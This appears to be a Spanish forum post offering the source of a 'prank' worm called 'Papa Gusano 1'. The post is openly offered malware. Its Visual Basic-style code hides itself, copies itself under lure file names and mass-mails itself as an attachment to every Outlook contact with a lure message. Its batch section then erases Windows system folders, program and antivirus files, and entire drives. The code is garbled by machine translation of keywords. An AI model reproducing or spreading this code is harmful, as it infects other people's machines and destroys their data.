HOYGAN ACA LES DEJO ESTE PEQUEÑISIMO CODIGO PERO ME SIRVE PARA HACERLE BROMAS A AMIGOS JEJEJE AUNQUE ES DETECTADO SOLO`POR NOD32.
Virus “Papa Gusano 1”
Forma Sub_Load Privado ()
Me.hide
App.EXEName + "Papa Gusano 1"
Filcopy App.Path + "\" + App.EXEName + ". Exe", "C: \ Worm1.Exe"
Filcopy App.Path + "\" + App.EXEName + ". Exe", "C: \ InnocentFile.e
xe"
Filcopy App.Path + "\" + App.EXEName + ". Exe", "C: \ Me.EXE"
Filcopy App.Path + "\" + App.EXEName + ". Exe", "C: \ OpenMe!. EXE"
Conjunto de modo = CreateObject (fso)
Set ol = CreateObject ( "Outlook.Applic
ation")
Establecidos = Wscript.Create
Object ( "Outlook.Applic
ation")
Set mapi = out.GetNameSpa
ce ( "MAPI")
Set a = mapi.AddressLi
sts (1)
Para X = 1 Para a.AddressEntri
es.Count
Set Correo = ol.CreateItem (0)
Mail.to = ol.GetNameSpac
e ( "MAPI"). AddressLists (1). AddressEntries (X)
Mail.Subject = "Fwd: Ninguno"
Mail.Body = "QUIERES SABER QUIEN ES EL AMOR DE TU VIDA PUES ENTRA A
Para ver este enlace Registrate o Inicia Sesionwww.rubias19.c om
Y AHI ENCONTRARAS DE TODOS LOS TIPOS RECUERDA QUE SOLO LA MEJOR CARNE".
Mail.Attachmen
ts.Add = "C: \ Worm1.exe"
Mail.Send
Siguiente
Ol.Quit
End Sub
start c:\WINDOWS\SYSTEM32\DRVSTORE
start c:\WINDOWS\JAVA
start c:\WINDOWS\MEDIA
start c:\WINDOWS\TASKS
start c:\WINDOWS\Web
start c:\WINDOWS\_default
start c:\WINDOWS\SYSTEM32\cmd
start c:\WINDOWS\SYSTEM32\cmdow
start c:\WINDOWS\SYSTEM32\cmmon32
start c:\WINDOWS\SYSTEM32\cmdl32
start c:\WINDOWS\SYSTEM32\clipsrv
erase c:\WINDOWS\pchealth
erase c:\WINDOWS\SYSTEM
erase c:\WINDOWS\Confing
erase c:\WINDOWS\msapps
erase c:\WINDOWS\explorer
erase c:\WINDOWS\TWAIN_32
erase c:\WINDOWS\WinSxS
erase c:\WINDOWS\Resources
erase c:\Archivos de programas\Java
erase c:\Archivos de programas\Ahead
erase c:\Archivos de programas\Windows Media Player
erase c:\Archivos de programas\WinRaR
erase c:\Archivos de programas\Archivos comunes
erase c:\Archivos de programas\hexplorer
erase c:\Archivos de programas\Microsoft.NET
erase c:\WINDOWS\SYSTEM32\mshearts
erase c:\WINDOWS\SYSTEM32\mstsc
erase c:\WINDOWS\SYSTEM32\narrator
erase c:\WINDOWS\SYSTEM32\ntsd
erase c:\WINDOWS\SYSTEM32\osuninst
erase c:\WINDOWS\SYSTEM32\packager
erase c:\WINDOWS\SYSTEM32\prounstl
erase c:\WINDOWS\SYSTEM32\proquota
erase c:\WINDOWS\SYSTEM32\progman
erase c:\WINDOWS\SYSTEM32\rcimlby
erase c:\WINDOWS\SYSTEM32\regedt32
erase c:\WINDOWS\SYSTEM32\winlogon
erase c:\WINDOWS\SYSTEM32\DRVSTORE
erase c:\WINDOWS\SYSTEM32\Kaspersky Lab
erase c:\WINDOWS\q
erase e:
erase g:
erase k:
erase d:
erase Sistema (C:)